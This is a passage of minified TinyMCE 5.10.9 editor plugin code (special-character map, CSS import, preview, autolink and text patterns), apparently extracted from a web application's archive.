!function(){"use strict";function l(e,r){var n=e.fire("insertCustomChar",{chr:r}).chr;e.execCommand("mceInsertContent",!1,n)}function i(e){return function(){return e}}function e(e){return e}function r(){return c}var t,g,n=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=function(e){return n=typeof(r=e),(null===r?"null":"object"==n&&(Array.prototype.isPrototypeOf(r)||r.constructor&&"Array"===r.constructor.name)?"array":"object"==n&&(String.prototype.isPrototypeOf(r)||r.constructor&&"String"===r.constructor.name)?"string":n)===t;var r,n},m=i(!(t="array")),o=i(!(g=null)),c={fold:function(e,r){return e()},isSome:m,isNone:o,getOr:e,getOrThunk:u,getOrDie:function(e){throw new Error(e||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:e,orThunk:u,map:r,each:function(){},bind:r,exists:m,forall:o,filter:function(){return c},toArray:function(){return[]},toString:i("none()")};function u(e){return e()}function f(e,r){for(var n=e.length,t=new Array(n),a=0;a<n;a++){var i=e[a];t[a]=r(i,a)}return t}function s(e){return A(e)?x.grep(e,function(e){return A(e)&&2===e.length}):"function"==typeof e?e():[]}function h(e){var r=function(e,r){var n=e.getParam("charmap");n&&(r=[{name:O,characters:s(n)}]);var t=e.getParam("charmap_append");if(t){var a=x.grep(r,function(e){return e.name===O});return a.length?(a[0].characters=[].concat(a[0].characters).concat(s(t)),r):r.concat({name:O,characters:s(t)})}return r}(e,[{name:"Currency",characters:[[36,"dollar sign"],[162,"cent sign"],[8364,"euro sign"],[163,"pound sign"],[165,"yen sign"],[164,"currency sign"],[8352,"euro-currency sign"],[8353,"colon sign"],[8354,"cruzeiro sign"],[8355,"french franc sign"],[8356,"lira sign"],[8357,"mill sign"],[8358,"naira sign"],[8359,"peseta sign"],[8360,"rupee sign"],[8361,"won sign"],[8362,"new sheqel sign"],[8363,"dong sign"],[8365,"kip sign"],[8366,"tugrik sign"],[8367,"drachma sign"],[8368,"german penny symbol"],[8369,"peso sign"],[8370,"guarani sign"],[8371,"austral sign"],[8372,"hryvnia sign"],[8373,"cedi sign"],[8374,"livre tournois sign"],[8375,"spesmilo sign"],[8376,"tenge sign"],[8377,"indian rupee sign"],[8378,"turkish lira sign"],[8379,"nordic mark sign"],[8380,"manat sign"],[8381,"ruble sign"],[20870,"yen character"],[20803,"yuan character"],[22291,"yuan character, in hong kong and taiwan"],[22278,"yen/yuan character variant one"]]},{name:"Text",characters:[[169,"copyright sign"],[174,"registered sign"],[8482,"trade mark sign"],[8240,"per mille sign"],[181,"micro sign"],[183,"middle dot"],[8226,"bullet"],[8230,"three dot leader"],[8242,"minutes / feet"],[8243,"seconds / inches"],[167,"section sign"],[182,"paragraph sign"],[223,"sharp s / ess-zed"]]},{name:"Quotations",characters:[[8249,"single left-pointing angle quotation mark"],[8250,"single right-pointing angle quotation mark"],[171,"left pointing guillemet"],[187,"right pointing guillemet"],[8216,"left single quotation mark"],[8217,"right single quotation mark"],[8220,"left double quotation mark"],[8221,"right double quotation mark"],[8218,"single low-9 quotation mark"],[8222,"double low-9 quotation mark"],[60,"less-than sign"],[62,"greater-than sign"],[8804,"less-than or equal to"],[8805,"greater-than or equal to"],[8211,"en dash"],[8212,"em dash"],[175,"macron"],[8254,"overline"],[164,"currency sign"],[166,"broken bar"],[168,"diaeresis"],[161,"inverted exclamation mark"],[191,"turned question mark"],[710,"circumflex accent"],[732,"small tilde"],[176,"degree sign"],[8722,"minus sign"],[177,"plus-minus sign"],[247,"division sign"],[8260,"fraction slash"],[215,"multiplication sign"],[185,"superscript one"],[178,"superscript two"],[179,"superscript three"],[188,"fraction one quarter"],[189,"fraction one half"],[190,"fraction three quarters"]]},{name:"Mathematical",characters:[[402,"function / florin"],[8747,"integral"],[8721,"n-ary sumation"],[8734,"infinity"],[8730,"square root"],[8764,"similar to"],[8773,"approximately equal to"],[8776,"almost equal to"],[8800,"not equal to"],[8801,"identical to"],[8712,"element of"],[8713,"not an element of"],[8715,"contains as member"],[8719,"n-ary product"],[8743,"logical and"],[8744,"logical or"],[172,"not sign"],[8745,"intersection"],[8746,"union"],[8706,"partial differential"],[8704,"for all"],[8707,"there exists"],[8709,"diameter"],[8711,"backward difference"],[8727,"asterisk operator"],[8733,"proportional to"],[8736,"angle"]]},{name:"Extended Latin",characters:[[192,"A - grave"],[193,"A - acute"],[194,"A - circumflex"],[195,"A - tilde"],[196,"A - diaeresis"],[197,"A - ring above"],[256,"A - macron"],[198,"ligature AE"],[199,"C - cedilla"],[200,"E - grave"],[201,"E - acute"],[202,"E - circumflex"],[203,"E - diaeresis"],[274,"E - macron"],[204,"I - grave"],[205,"I - acute"],[206,"I - circumflex"],[207,"I - diaeresis"],[298,"I - macron"],[208,"ETH"],[209,"N - tilde"],[210,"O - grave"],[211,"O - acute"],[212,"O - circumflex"],[213,"O - tilde"],[214,"O - diaeresis"],[216,"O - slash"],[332,"O - macron"],[338,"ligature OE"],[352,"S - caron"],[217,"U - grave"],[218,"U - acute"],[219,"U - circumflex"],[220,"U - diaeresis"],[362,"U - macron"],[221,"Y - acute"],[376,"Y - diaeresis"],[562,"Y - macron"],[222,"THORN"],[224,"a - grave"],[225,"a - acute"],[226,"a - circumflex"],[227,"a - tilde"],[228,"a - diaeresis"],[229,"a - ring above"],[257,"a - macron"],[230,"ligature ae"],[231,"c - cedilla"],[232,"e - grave"],[233,"e - acute"],[234,"e - circumflex"],[235,"e - diaeresis"],[275,"e - macron"],[236,"i - grave"],[237,"i - acute"],[238,"i - circumflex"],[239,"i - diaeresis"],[299,"i - macron"],[240,"eth"],[241,"n - tilde"],[242,"o - grave"],[243,"o - acute"],[244,"o - circumflex"],[245,"o - tilde"],[246,"o - diaeresis"],[248,"o slash"],[333,"o macron"],[339,"ligature oe"],[353,"s - caron"],[249,"u - grave"],[250,"u - acute"],[251,"u - circumflex"],[252,"u - diaeresis"],[363,"u - macron"],[253,"y - acute"],[254,"thorn"],[255,"y - diaeresis"],[563,"y - macron"],[913,"Alpha"],[914,"Beta"],[915,"Gamma"],[916,"Delta"],[917,"Epsilon"],[918,"Zeta"],[919,"Eta"],[920,"Theta"],[921,"Iota"],[922,"Kappa"],[923,"Lambda"],[924,"Mu"],[925,"Nu"],[926,"Xi"],[927,"Omicron"],[928,"Pi"],[929,"Rho"],[931,"Sigma"],[932,"Tau"],[933,"Upsilon"],[934,"Phi"],[935,"Chi"],[936,"Psi"],[937,"Omega"],[945,"alpha"],[946,"beta"],[947,"gamma"],[948,"delta"],[949,"epsilon"],[950,"zeta"],[951,"eta"],[952,"theta"],[953,"iota"],[954,"kappa"],[955,"lambda"],[956,"mu"],[957,"nu"],[958,"xi"],[959,"omicron"],[960,"pi"],[961,"rho"],[962,"final sigma"],[963,"sigma"],[964,"tau"],[965,"upsilon"],[966,"phi"],[967,"chi"],[968,"psi"],[969,"omega"]]},{name:"Symbols",characters:[[8501,"alef symbol"],[982,"pi symbol"],[8476,"real part symbol"],[978,"upsilon - hook symbol"],[8472,"Weierstrass p"],[8465,"imaginary part"]]},{name:"Arrows",characters:[[8592,"leftwards arrow"],[8593,"upwards arrow"],[8594,"rightwards arrow"],[8595,"downwards arrow"],[8596,"left right arrow"],[8629,"carriage return"],[8656,"leftwards double arrow"],[8657,"upwards double arrow"],[8658,"rightwards double arrow"],[8659,"downwards double arrow"],[8660,"left right double arrow"],[8756,"therefore"],[8834,"subset of"],[8835,"superset of"],[8836,"not a subset of"],[8838,"subset of or equal to"],[8839,"superset of or equal to"],[8853,"circled plus"],[8855,"circled times"],[8869,"perpendicular"],[8901,"dot operator"],[8968,"left ceiling"],[8969,"right ceiling"],[8970,"left floor"],[8971,"right floor"],[9001,"left-pointing angle bracket"],[9002,"right-pointing angle bracket"],[9674,"lozenge"],[9824,"black spade suit"],[9827,"black club suit"],[9829,"black heart suit"],[9830,"black diamond suit"],[8194,"en space"],[8195,"em space"],[8201,"thin space"],[8204,"zero width non-joiner"],[8205,"zero width joiner"],[8206,"left-to-right mark"],[8207,"right-to-left mark"]]}]);return 1<r.length?[{name:"All",characters:function(e){for(var r=[],n=0,t=e.length;n<t;++n){if(!a(e[n]))throw new Error("Arr.flatten item "+n+" was not an array, input: "+e);C.apply(r,e[n])}return r}(f(r,function(e){return e.characters}))}].concat(r):r}function p(e){var r=e;return{get:function(){return r},set:function(e){r=e}}}function d(e,r){return-1!==e.indexOf(r)}function y(){for(var e=[],r=0;r<arguments.length;r++)e[r]=arguments[r];if(q)return q.apply(void 0,e);for(var n=[],t="",a=0,i=e.length;a!==i;++a){var o=+e[a];if(!(o<1114111&&o>>>0===o))throw RangeError("Invalid code point: "+o);16383<=(o<=65535?n.push(o):(o-=65536,n.push(55296+(o>>10),o%1024+56320)))&&(t+=String.fromCharCode.apply(null,n),n.length=0)}return t+String.fromCharCode.apply(null,n)}function v(e,r){var c=[],u=r.toLowerCase();return function(e){for(var r,n,t,a,i=0,o=e.length;i<o;i++)r=e[i],a=t=n=a=t=n=void 0,n=r[0],t=r[1],a=u,(d(y(n).toLowerCase(),a)||d(t.toLowerCase(),a)||d(t.toLowerCase().replace(/\s+/g,""),a))&&c.push(r)}(e.characters),f(c,function(e){return{text:e[1],value:y(e[0]),icon:y(e[0])}})}function w(n,a){function r(){return[{label:"Search",type:"input",name:S},{type:"collection",name:"results"}]}var t,i,o=1===a.length?p(O):p("All"),c=(t=function(e){var r=e.getData().pattern,n=e,t=r;(function(e,r,n){for(var t=0,a=e.length;t<a;t++){var i=e[t];if(r(i,t))return k.some(i);if(n(i,t))break}return k.none()})(a,function(e){return e.name===o.get()},m).each(function(e){var r=v(e,t);n.setData({results:r})})},i=null,{cancel:u,throttle:function(){for(var e=[],r=0;r<arguments.length;r++)e[r]=arguments[r];u(),i=setTimeout(function(){i=null,t.apply(null,e)},40)}});function u(){g===i||(clearTimeout(i),i=null)}var e=1===a.length?{type:"panel",items:r()}:{type:"tabpanel",tabs:f(a,function(e){return{title:e.name,name:e.name,items:r()}})},s={pattern:"",results:v(a[0],"")};n.windowManager.open({title:"Special Character",size:"normal",body:e,buttons:[{type:"cancel",name:"close",text:"Close",primary:!0}],initialData:s,onAction:function(e,r){"results"===r.name&&(l(n,r.value),e.close())},onTabChange:function(e,r){o.set(r.newTabName),c.throttle(e)},onChange:function(e,r){r.name===S&&c.throttle(e)}}).focus(S)}var b=function(n){function e(){return a}function r(e){return e(n)}var t=i(n),a={fold:function(e,r){return r(n)},isSome:o,isNone:m,getOr:t,getOrThunk:t,getOrDie:t,getOrNull:t,getOrUndefined:t,or:e,orThunk:e,map:function(e){return b(e(n))},each:function(e){e(n)},bind:r,exists:r,forall:r,filter:function(e){return e(n)?a:c},toArray:function(){return[n]},toString:function(){return"some("+n+")"}};return a},k={some:b,none:r,from:function(e){return null==e?c:b(e)}},C=Array.prototype.push,x=tinymce.util.Tools.resolve("tinymce.util.Tools"),A=x.isArray,O="User Defined",q=String.fromCodePoint,S="pattern",T=tinymce.util.Tools.resolve("tinymce.util.Promise");n.add("charmap",function(e){var r,n,t,a,i,o=h(e),c=o;return(r=e).addCommand("mceShowCharmap",function(){w(r,c)}),(n=e).ui.registry.addButton("charmap",{icon:"insert-character",tooltip:"Special character",onAction:function(){return n.execCommand("mceShowCharmap")}}),n.ui.registry.addMenuItem("charmap",{icon:"insert-character",text:"Special character...",onAction:function(){return n.execCommand("mceShowCharmap")}}),t=e,a=o[0],t.ui.registry.addAutocompleter("charmap",{ch:":",columns:"auto",minChars:2,fetch:function(n,e){return new T(function(e,r){e(v(a,n))})},onAction:function(e,r,n){t.selection.setRng(r),t.insertContent(n),e.hide()}}),i=e,{getCharMap:function(){return h(i)},insertChar:function(e){l(i,e)}}})}();PK
h�\��L+��2program/js/tinymce/plugins/importcss/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function t(n){return function(t){return r=typeof(e=t),(null===e?"null":"object"==r&&(Array.prototype.isPrototypeOf(e)||e.constructor&&"Array"===e.constructor.name)?"array":"object"==r&&(String.prototype.isPrototypeOf(e)||e.constructor&&"String"===e.constructor.name)?"string":r)===n;var e,r}}function y(t){return t.getParam("importcss_selector_converter")}function u(e){return l(e)?function(t){return-1!==t.indexOf(e)}:e instanceof RegExp?function(t){return e.test(t)}:e}function h(t,e){var r,n=/^(?:([a-z0-9\-_]+))?(\.[a-z0-9_\-\.]+)$/i.exec(e);if(n){var o=n[1],i=n[2].substr(1).split(".").join(" "),c=x.makeMap("a,img");return n[1]?(r={title:e},t.schema.getTextBlockElements()[o]?r.block=o:t.schema.getBlockElements()[o]||c[o.toLowerCase()]?r.selector=o:r.inline=o):n[2]&&(r={inline:"span",title:e.substr(1),classes:i}),!1!==t.getParam("importcss_merge_classes")?r.classes=i:r.attributes={class:i},r}}function d(t,e){return null===e||!1!==t.getParam("importcss_exclusive")}function r(v){v.on("init",function(){function o(t,e){if(f=t,p=g,!(d(v,m=e)?f in p:f in m.selectors)){a=t,l=g,d(v,u=e)?l[a]=!0:u.selectors[a]=!0;var r=(i=(o=v).plugins.importcss,c=t,((s=e)&&s.selector_converter?s.selector_converter:y(o)?y(o):function(){return h(o,c)}).call(i,c,s));if(r){var n=r.name||_.DOM.uniqueId();return v.formatter.register(n,r),{title:r.title,format:n}}}var o,i,c,s,a,u,l,f,m,p;return null}var e,r,n,t,i=(e=[],r=[],n={},{addItemToGroup:function(t,e){n[t]?n[t].push(e):(r.push(t),n[t]=[e])},addItem:function(t){e.push(t)},toFormats:function(){return function(t){for(var e=[],r=0,n=t.length;r<n;++r){if(!f(t[r]))throw new Error("Arr.flatten item "+r+" was not an array, input: "+t);P.apply(e,t[r])}return e}(function(t,e){for(var r=t.length,n=new Array(r),o=0;o<r;o++){var i=t[o];n[o]=e(i,o)}return n}(r,function(t){var e=n[t];return 0===e.length?[]:[{title:t,items:e}]})).concat(e)}}),g={},c=u(v.getParam("importcss_selector_filter")),s=(t=v.getParam("importcss_groups"),x.map(t,function(t){return x.extend({},t,{original:t,selectors:{},filter:u(t.filter)})}));x.each(function(c,t,s){var a=[],r={},u=function(t,e){var r,n,o=n=t.href,i=p.cacheSuffix;if((n=o=l(o)?o.replace("?"+i,"").replace("&"+i,""):o)&&s(n,e)&&!function(t,e){var r,n=!1!==(r=t.getParam("skin"))&&(r||"oxide");if(n){var o=t.getParam("skin_url"),i=o?t.documentBaseURI.toAbsolute(o):m.baseURL+"/skins/ui/"+n,c=m.baseURL+"/skins/content/";return e===i+"/content"+(t.inline?".inline":"")+".min.css"||-1!==e.indexOf(c)}}(c,n)){x.each(t.imports,function(t){u(t,!0)});try{r=t.cssRules||t.rules}catch(t){}x.each(r,function(t){t.styleSheet?u(t.styleSheet,!0):t.selectorText&&x.each(t.selectorText.split(","),function(t){a.push(x.trim(t))})})}};x.each(c.contentCSS,function(t){r[t]=!0}),s=s||function(t,e){return e||r[t]};try{x.each(t.styleSheets,function(t){u(t)})}catch(t){}return a}(v,v.getDoc(),u(v.getParam("importcss_file_filter"))),function(r){var t,e,n;T.test(r)||c&&!c(r)||(n=r,0<(t=x.grep(s,function(t){return!t.filter||t.filter(n)})).length?x.each(t,function(t){var e=o(r,t);e&&i.addItemToGroup(t.title,e)}):(e=o(r,null))&&i.addItem(e))});var a=i.toFormats();v.fire("addStyleModifications",{items:a,replace:!v.getParam("importcss_append")})})}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),l=t("string"),f=t("array"),_=tinymce.util.Tools.resolve("tinymce.dom.DOMUtils"),m=tinymce.util.Tools.resolve("tinymce.EditorManager"),p=tinymce.util.Tools.resolve("tinymce.Env"),x=tinymce.util.Tools.resolve("tinymce.util.Tools"),P=Array.prototype.push,T=/^\.(?:ephox|tiny-pageembed|mce)(?:[.-]+\w+)+$/;e.add("importcss",function(t){return r(t),e=t,{convertSelectorToFormat:function(t){return h(e,t)}};var e})}();PK
h�\^�000program/js/tinymce/plugins/preview/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),f=tinymce.util.Tools.resolve("tinymce.Env"),w=tinymce.util.Tools.resolve("tinymce.util.Tools");e.add("preview",function(e){var n,t;function i(){return t.execCommand("mcePreview")}(n=e).addCommand("mcePreview",function(){var e,t;t=function(t){var n="",i=t.dom.encode,e=t.getParam("content_style","","string");n+='<base href="'+i(t.documentBaseURI.getURI())+'">';var o=t.getParam("content_css_cors",!1,"boolean")?' crossorigin="anonymous"':"";w.each(t.contentCSS,function(e){n+='<link type="text/css" rel="stylesheet" href="'+i(t.documentBaseURI.toAbsolute(e))+'"'+o+">"}),e&&(n+='<style type="text/css">'+e+"</style>");var a,r,s,c,d,l,m,y=-1===(c=(a=t).getParam("body_id","tinymce","string")).indexOf("=")?c:(s=(r=a).getParam("body_id","","hash"))[r.id]||s,u=-1===(m=(d=t).getParam("body_class","","string")).indexOf("=")?m:(l=d).getParam("body_class","","hash")[l.id]||"",v='<script>document.addEventListener && document.addEventListener("click", function(e) {for (var elm = e.target; elm; elm = elm.parentNode) {if (elm.nodeName === "A" && !('+(f.mac?"e.metaKey":"e.ctrlKey && !e.altKey")+")) {e.preventDefault();}}}, false);<\/script> ",g=t.getBody().dir,p=g?' dir="'+i(g)+'"':"";return"<!DOCTYPE html><html><head>"+n+'</head><body id="'+i(y)+'" class="mce-content-body '+i(u)+'"'+p+">"+t.getContent()+v+"</body></html>"}(e=n),e.windowManager.open({title:"Preview",size:"large",body:{type:"panel",items:[{name:"preview",type:"iframe",sandboxed:!0}]},buttons:[{type:"cancel",name:"close",text:"Close",primary:!0}],initialData:{preview:t}}).focus("close")}),(t=e).ui.registry.addButton("preview",{icon:"preview",tooltip:"Preview",onAction:i}),t.ui.registry.addMenuItem("preview",{icon:"preview",text:"Preview",onAction:i})})}();PK
h�\�]<�
�
1program/js/tinymce/plugins/autolink/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";function k(e){return/^[(\[{ \u00a0]$/.test(e)}function w(e){return 3===e.nodeType}function i(e){return 1===e.nodeType}function o(e,t){var n;return t<0&&(t=0),!w(e)||(n=e.data.length)<t&&(t=n),t}function y(e,t,n){!i(t)||t.hasChildNodes()?e.setStart(t,o(t,n)):e.setStartBefore(t)}function v(e,t,n){!i(t)||t.hasChildNodes()?e.setEnd(t,o(t,n)):e.setEndAfter(t)}function r(e,t){var n,i,o,r,a,f=e.getParam("autolink_pattern",A),s=e.getParam("default_link_target",!1);if(null===e.dom.getParent(e.selection.getNode(),"a[href]")){var d=e.selection.getRng().cloneRange();if(d.startOffset<5){if(!(r=d.endContainer.previousSibling)){if(!d.endContainer.firstChild||!d.endContainer.firstChild.nextSibling)return;r=d.endContainer.firstChild.nextSibling}if(y(d,r,a=r.length),v(d,r,a),d.endOffset<5)return;n=d.endOffset,i=r}else{if(!w(i=d.endContainer)&&i.firstChild){for(;!w(i)&&i.firstChild;)i=i.firstChild;w(i)&&(y(d,i,0),v(d,i,i.nodeValue.length))}n=1===d.endOffset?2:d.endOffset-1-t}for(var l=n;y(d,i,2<=n?n-2:0),v(d,i,1<=n?n-1:0),--n,!k(d.toString())&&0<=n-2;);k(d.toString())?(y(d,i,n),v(d,i,l),n+=1):(0===d.startOffset?y(d,i,0):y(d,i,n),v(d,i,l)),u=d.toString(),/[?!,.;:]/.test(u.charAt(u.length-1))&&v(d,i,l-1);var u,c,g,h,C=(u=d.toString().trim()).match(f),m=e.getParam("link_default_protocol","http","string");C&&((g=c=C[0]).length>=(h="www.").length&&g.substr(0,0+h.length)===h?c=m+"://"+c:-1===c.indexOf("@")||/^([A-Za-z][A-Za-z\d.+-]*:\/\/)|mailto:/.test(c)||(c="mailto:"+c),o=e.selection.getBookmark(),e.selection.setRng(d),e.execCommand("createlink",!1,c),!1!==s&&e.dom.setAttrib(e.selection.getNode(),"target",s),e.selection.moveToBookmark(o),e.nodeChanged())}}var e=tinymce.util.Tools.resolve("tinymce.PluginManager"),a=tinymce.util.Tools.resolve("tinymce.Env"),A=new RegExp("^"+/(?:[A-Za-z][A-Za-z\d.+-]{0,14}:\/\/(?:[-.~*+=!&;:'%@?^${}(),\w]+@)?|www\.|[-;:&=+$,.\w]+@)[A-Za-z\d-]+(?:\.[A-Za-z\d-]+)*(?::\d+)?(?:\/(?:[-.~*+=!;:'%@$(),\/\w]*[-~*+=%@$()\/\w])?)?(?:\?(?:[-.~*+=!&;:'%@?^${}(),\/\w]+))?(?:#(?:[-.~*+=!&;:'%@?^${}(),\/\w]+))?/g.source+"$","i");e.add("autolink",function(e){var t,n;(t=e).on("keydown",function(e){if(13===e.keyCode)return r(t,-1)}),a.browser.isIE()?t.on("focus",function(){if(!n){n=!0;try{t.execCommand("AutoUrlDetect",!1,!0)}catch(e){}}}):(t.on("keypress",function(e){if(41===e.keyCode||93===e.keyCode||125===e.keyCode)return r(t,-1)}),t.on("keyup",function(e){if(32===e.keyCode)return r(t,0)}))})}();PK
h�\����D�D4program/js/tinymce/plugins/textpattern/plugin.min.jsnu�[���/**
 * Copyright (c) Tiny Technologies, Inc. All rights reserved.
 * Licensed under the LGPL or a commercial license.
 * For LGPL see License.txt in the project root for license information.
 * For commercial licenses see https://www.tiny.cloud/
 *
 * Version: 5.10.9 (2023-11-15)
 */
!function(){"use strict";var t=tinymce.util.Tools.resolve("tinymce.PluginManager"),u=function(){return(u=Object.assign||function(t){for(var n,r=1,e=arguments.length;r<e;r++)for(var o in n=arguments[r])Object.prototype.hasOwnProperty.call(n,o)&&(t[o]=n[o]);return t}).apply(this,arguments)};function a(t,n,r){if(r||2===arguments.length)for(var e,o=0,a=n.length;o<a;o++)!e&&o in n||((e=e||Array.prototype.slice.call(n,0,o))[o]=n[o]);return t.concat(e||Array.prototype.slice.call(n))}function n(e){return function(t){return r=typeof(n=t),(null===n?"null":"object"==r&&(Array.prototype.isPrototypeOf(n)||n.constructor&&"Array"===n.constructor.name)?"array":"object"==r&&(String.prototype.isPrototypeOf(n)||n.constructor&&"String"===n.constructor.name)?"string":r)===e;var n,r}}function e(){}function i(t){return function(){return t}}function o(t){return t}function r(){return m}var f=n("string"),c=n("object"),s=n("array"),l=i(!1),d=i(!0),m={fold:function(t,n){return t()},isSome:l,isNone:d,getOr:o,getOrThunk:g,getOrDie:function(t){throw new Error(t||"error: getOrDie called on none.")},getOrNull:i(null),getOrUndefined:i(void 0),or:o,orThunk:g,map:r,each:e,bind:r,exists:l,forall:d,filter:function(){return m},toArray:function(){return[]},toString:i("none()")};function g(t){return t()}function p(t,n){return-1<E.call(t,n)}function h(t,n){for(var r=t.length,e=new Array(r),o=0;o<r;o++){var a=t[o];e[o]=n(a,o)}return e}function v(t,n){for(var r=0,e=t.length;r<e;r++)n(t[r],r)}function y(t,n){for(var r=[],e=0,o=t.length;e<o;e++){var a=t[e];n(a,e)&&r.push(a)}return r}function b(t,e,o){return function(t){for(var n,r=t.length-1;0<=r;r--)n=t[r],o=e(o,n,r)}(t),o}function k(t,n){for(var r=0,e=t.length;r<e;++r)if(!0!==n(t[r],r))return;return 1}var O=function(r){function t(){return o}function n(t){return t(r)}var e=i(r),o={fold:function(t,n){return n(r)},isSome:d,isNone:l,getOr:e,getOrThunk:e,getOrDie:e,getOrNull:e,getOrUndefined:e,or:t,orThunk:t,map:function(t){return O(t(r))},each:function(t){t(r)},bind:n,exists:n,forall:n,filter:function(t){return t(r)?o:m},toArray:function(){return[r]},toString:function(){return"some("+r+")"}};return o},w={some:O,none:r,from:function(t){return null==t?m:O(t)}},C=Array.prototype.slice,E=Array.prototype.indexOf,x=Object.keys,R=Object.hasOwnProperty;function T(t){var n=[],r=[];return v(t,function(t){t.fold(function(t){n.push(t)},function(t){r.push(t)})}),{errors:n,values:r}}function P(t){return"inline-command"===t.type||"inline-format"===t.type}function N(t){return"block-command"===t.type||"block-format"===t.type}function S(o){function a(t){return ut.error({message:t,pattern:o})}function t(t,n,r){if(void 0===o.format)return void 0!==o.cmd?f(o.cmd)?ut.value(r(o.cmd,o.value)):a(t+" pattern has non-string `cmd` parameter"):a(t+" pattern is missing both `format` and `cmd` parameters");var e=void 0;if(s(o.format)){if(!k(o.format,f))return a(t+" pattern has non-string items in the `format` array");e=o.format}else{if(!f(o.format))return a(t+" pattern has non-string `format` parameter");e=[o.format]}return ut.value(n(e))}if(!c(o))return a("Raw pattern is not an object");if(!f(o.start))return a("Raw pattern is missing `start` parameter");if(void 0===o.end)return void 0!==o.replacement?f(o.replacement)?0===o.start.length?a("Replacement pattern has empty `start` parameter"):ut.value({type:"inline-command",start:"",end:o.start,cmd:"mceInsertContent",value:o.replacement}):a("Replacement pattern has non-string `replacement` parameter"):0===o.start.length?a("Block pattern has empty `start` parameter"):t("Block",function(t){return{type:"block-format",start:o.start,format:t[0]}},function(t,n){return{type:"block-command",start:o.start,cmd:t,value:n}});if(!f(o.end))return a("Inline pattern has non-string `end` parameter");if(0===o.start.length&&0===o.end.length)return a("Inline pattern has empty `start` and `end` parameters");var r=o.start,e=o.end;return 0===e.length&&(e=r,r=""),t("Inline",function(t){return{type:"inline-format",start:r,end:e,format:t}},function(t,n){return{type:"inline-command",start:r,end:e,cmd:t,value:n}})}function M(t){return"block-command"===t.type?{start:t.start,cmd:t.cmd,value:t.value}:"block-format"===t.type?{start:t.start,format:t.format}:"inline-command"===t.type?"mceInsertContent"===t.cmd&&""===t.start?{start:t.end,replacement:t.value}:{start:t.start,end:t.end,cmd:t.cmd,value:t.value}:"inline-format"===t.type?{start:t.start,end:t.end,format:1===t.format.length?t.format[0]:t.format}:void 0}function A(t){return{inlinePatterns:y(t,P),blockPatterns:(n=y(t,N),r=function(t,n){return t.start.length===n.start.length?0:t.start.length>n.start.length?-1:1},(e=C.call(n,0)).sort(r),e)};var n,r,e}function B(){for(var t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];var r=ft.console;r&&(r.error||r.log).apply(r,t)}function D(t){var n=t.getParam("forced_root_block","p");return!1===n?"":!0===n?"p":n}function I(t,n){return{container:t,offset:n}}function j(t){return t.nodeType===Node.TEXT_NODE}function _(t,n,r,e){void 0===e&&(e=!0);var o=n.startContainer.parentNode,a=n.endContainer.parentNode;n.deleteContents(),e&&!r(n.startContainer)&&(j(n.startContainer)&&0===n.startContainer.data.length&&t.remove(n.startContainer),j(n.endContainer)&&0===n.endContainer.data.length&&t.remove(n.endContainer),pt(t,o,r),o!==a&&pt(t,a,r))}function U(t,n){var r,e=n.get(t);return s(e)&&(0<(r=e).length?w.some(r[0]):w.none()).exists(function(t){return R.call(t,"block")})}function L(t){return 0===t.start.length}function V(t,n){var r=w.from(t.dom.getParent(n.startContainer,t.dom.isBlock));return""===D(t)?r.orThunk(function(){return w.some(t.getBody())}):r}function W(n){return function(t){return n===t?-1:0}}function q(t,n,r){if(j(t)&&0<=n)return w.some(I(t,n));var e=gt(ht);return w.from(e.backwards(t,n,W(t),r)).map(function(t){return I(t.container,t.container.data.length)})}function z(t,n,r){if(j(n)&&(r<0||r>n.data.length))return[];for(var e=[r],o=n;o!==t&&o.parentNode;){for(var a=o.parentNode,i=0;i<a.childNodes.length;i++)if(a.childNodes[i]===o){e.push(i);break}o=a}return o===t?e.reverse():[]}function F(t,n,r,e,o){return{start:z(t,n,r),end:z(t,e,o)}}function G(t,n){var r=n.slice(),e=r.pop(),o=r,a=function(t,n){return t.bind(function(t){return w.from(t.childNodes[n])})},i=w.some(t);return v(o,function(t,n){i=a(i,t)}),i.bind(function(t){return j(t)&&(e<0||e>t.data.length)?w.none():w.some({node:t,offset:e})})}function H(n,r){return G(n,r.start).bind(function(t){var o=t.node,a=t.offset;return G(n,r.end).map(function(t){var n=t.node,r=t.offset,e=document.createRange();return e.setStart(o,a),e.setEnd(n,r),e})})}function J(e,o,n){!function(t,n){if(j(t)&&t.length<=0)return w.some(I(t,0));var r=gt(ht);return w.from(r.forwards(t,0,W(t),n)).map(function(t){return I(t.container,0)})}(o,o).each(function(t){var r=t.container;yt(r,n.start.length,o).each(function(t){var n=e.createRng();n.setStart(r,0),n.setEnd(t.container,t.offset),_(e,n,function(t){return t===o})})})}function K(e,a){var i=e.dom,t=e.selection.getRng();return V(e,t).filter(function(t){var n=D(e),r=""===n&&i.is(t,"body")||i.is(t,n);return null!==t&&r}).bind(function(n){var r,e=n.textContent,t=a,o=(r=e).replace("\xa0"," ");return function(t,n,r){for(var e=0,o=t.length;e<o;e++){var a=t[e];if(n(a,e))return w.some(a);if(r(a,e))break}return w.none()}(t,function(t){return 0===r.indexOf(t.start)||0===o.indexOf(t.start)},l).map(function(t){return dt.trim(e).length===t.start.length?[]:[{pattern:t,range:F(i.getRoot(),n,0,n,0)}]})}).getOr([])}function X(t,n){return t.create("span",{"data-mce-type":"bookmark",id:n})}function Q(t,n){var r=t.createRng();return r.setStartAfter(n.start),r.setEndBefore(n.end),r}function Y(t,n,r){var e=H(t.getRoot(),r).getOrDie("Unable to resolve path 